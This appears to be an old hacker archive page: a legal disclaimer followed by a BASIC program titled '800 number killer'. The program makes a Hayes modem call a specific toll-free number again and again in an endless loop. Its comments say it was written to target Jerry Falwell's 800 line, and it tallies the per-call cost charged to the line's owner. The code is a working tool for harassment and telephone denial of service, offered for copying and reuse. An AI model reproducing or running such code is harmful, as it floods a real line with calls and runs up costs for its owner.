|
1- 800 killer for WATS lines
NOTICE: TO ALL CONCERNED Certain text files and messages contained on this site deal with activities and devices which would be in violation of various Federal, State, and local laws if actually carried out or constructed. The webmasters of this site do not advocate the breaking of any law. Our text files and message bases are for informational purposes only. We recommend that you contact your local law enforcement officials before undertaking any project based upon any information obtained from this or any other web site. We do not guarantee that any of the information contained on this system is correct, workable, or factual. We are not responsible for, nor do we assume any liability for, damages resulting from the use of any information on this site.
10 ' The 800 number killer for the Hayes modem. Originally writen
20 ' by Aiken Drum to kill Jerry Fallwell's 800 number. Version 1
30 ' Copy, Distribute, Change, Add your name. In general, have fun
40 '
50 '
100 KEY OFF:COLOR 2,0
110 ON ERROR GOTO 310
120 PPC=1.5 ' <<< Aprox. Price Per Call >>><<< (415) is about $1.50 >>>
130 OPEN "COM1:1200,E,7,1" AS #1 'Change to 300,e,7,1 for 300 baud
140 GOSUB 220 ' Ste up the modem
150 GOSUB 190 ' Dial the number and wait
160 CLS
170 NC=NC+1:PRINT "Calls: "NC" Price: ";:PRINT USING "$$########,.##";NC*PPC
180 GOTO 150 ' Repeat
181 '
182 '
190 PRINT #1,"ATDT 8004465000":GOSUB 260 ' The numer to kill
200 GOSUB 300
210 RETURN
211 '
212 '
220 GOSUB 260
230 PRINT #1,"ATZ":GOSUB 260
240 PRINT #1,"ATS7=13":GOSUB 260 ' The number after the = is how many seconds after dialing to hangRETURN
251 '
252 '
260 FOR T=1 TO 500:NEXT ' Get all modem input,
270 WHILE LOC(1):A$=INPUT$(1,1):PRINT A$;:WEND ' print it, and then
280 FOR T=1 TO 500:NEXT ' forget about it. Delays
290 RETURN ' to be sure we've got it all.
300 WHILE LOC(1)=0:WEND:GOSUB 260:RETURN ' wait for the NO CARRIER mess.
301 '
302 '
310 IF ERR=57 THEN RESUME ' Damn, an error. Leave
320 PRINT"ERROR "ERR" IN "ERL ' mail for Aiken Drum on the Matrix
330 STOP ' (415) 922 - 1370
|
|
